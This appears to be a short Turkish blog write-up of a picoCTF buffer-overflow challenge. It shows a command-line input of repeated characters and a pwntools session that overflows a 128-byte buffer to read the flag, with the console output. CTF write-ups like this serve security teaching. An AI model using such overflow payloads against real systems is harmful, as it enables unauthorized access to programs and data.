./vuln 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

./vuln 128 tane 1 yazın parametre olarak owerflow oluyor ve ve flag.txt dosyasını okuyor.

3.yol python içinde yaz kodları kısaca;

python
>>> from pwn import *
>>> import sys
>>> sh = process([‘vuln’,’a’*(128+4)+p32(0xdeadbeef)], cwd=’/problems/overflow-0_1_54d12127b2833f7eab9758b43e88d3b7′)
[!] Could not find executable ‘vuln’ in $PATH, using ‘/problems/overflow-0_1_54d12127b2833f7eab9758b43e88d3b7/vuln’ instead
[x] Starting local process ‘/problems/overflow-0_1_54d12127b2833f7eab9758b43e88d3b7/vuln’
[+] Starting local process ‘/problems/overflow-0_1_54d12127b2833f7eab9758b43e88d3b7/vuln’: pid 2059831
>>> sh.interactive()
[*] Switching to interactive mode
[*] Process ‘/problems/overflow-0_1_54d12127b2833f7eab9758b43e88d3b7/vuln’ stopped with exit code 1 (pid 2059831)
picoCTF{**************}
[*] Got EOF while reading in interactive

Older Entries

PCI Guru

A common sense approach to achieving PCI compliance and retaining your sanity

Penetration Testing Lab

Offensive Techniques & Methodologies

Bana Silverlight Anlat

meslek lisesi ders notları